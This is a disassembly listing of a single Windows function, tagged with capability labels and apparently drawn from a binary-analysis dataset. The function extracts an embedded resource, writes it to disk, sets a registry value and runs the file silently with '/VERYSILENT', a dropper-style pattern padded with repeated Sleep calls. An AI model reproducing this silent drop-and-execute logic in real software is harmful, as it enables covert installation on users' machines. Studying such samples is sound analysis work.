Function at 0x401750
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Set registry value
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x4144b0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push 1
mov ebx, ecx
mov dword [ebp - 0x114], eax
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 0xa
push str.IDR_LUA
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x4017b0
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402e4e
mov esp, ebp
pop ebp
ret
push edi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 1
mov dword [ebp - 0x11c], eax
call esi
push 1
call esi
push 1
call esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
mov dword [ebp - 0x118], edi
test edi, edi
je 0x40179c
push 1
call esi
push 1
call esi
push 1
call esi
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
je 0x40179c
mov eax, dword [ebp - 0x114]
push ebx
call fcn.00401490
add esp, 4
push 1
mov ebx, eax
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
test edi, edi
je 0x40179c
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
mov edx, dword [ebp - 0x11c]
mov eax, dword [ebp - 0x118]
push 0
lea ecx, [ebp - 0x120]
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push str.ressetup.exe
call fcn.00401630
push str.ressetup.tmp
call fcn.00401630
push str.xwallpaper
lea ecx, [ebp - 0x110]
push str.Software_s
push ecx
call fcn.00403436
add esp, 0xc
push 1
call esi
push 1
call esi
push 1
call esi
cmp byte [0x416c07], 0
push 1
je 0x40197f
call esi
push 1
call esi
push 1
call esi
push 1
mov dword [ebp - 0x118], 1
call esi
push 1
call esi
push 1
call esi
lea edx, [ebp - 0x114]
push edx
lea eax, [ebp - 0x110]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
push 1
call esi
push 1
call esi
push 1
call esi
mov edx, dword [ebp - 0x114]
push 4
lea ecx, [ebp - 0x118]
push ecx
push 4
push 0
push str.InsM
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x114]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
call esi
push 1
call esi
push 1
call esi
push 0
push 0
push str._VERYSILENT__SP_
push ebx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402e4e
mov esp, ebp
pop ebp
ret
call esi
push 1
call esi
push 1
call esi
push 0
push 0
push 0x4128f9
push ebx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00402e4e
mov esp, ebp
pop ebp
ret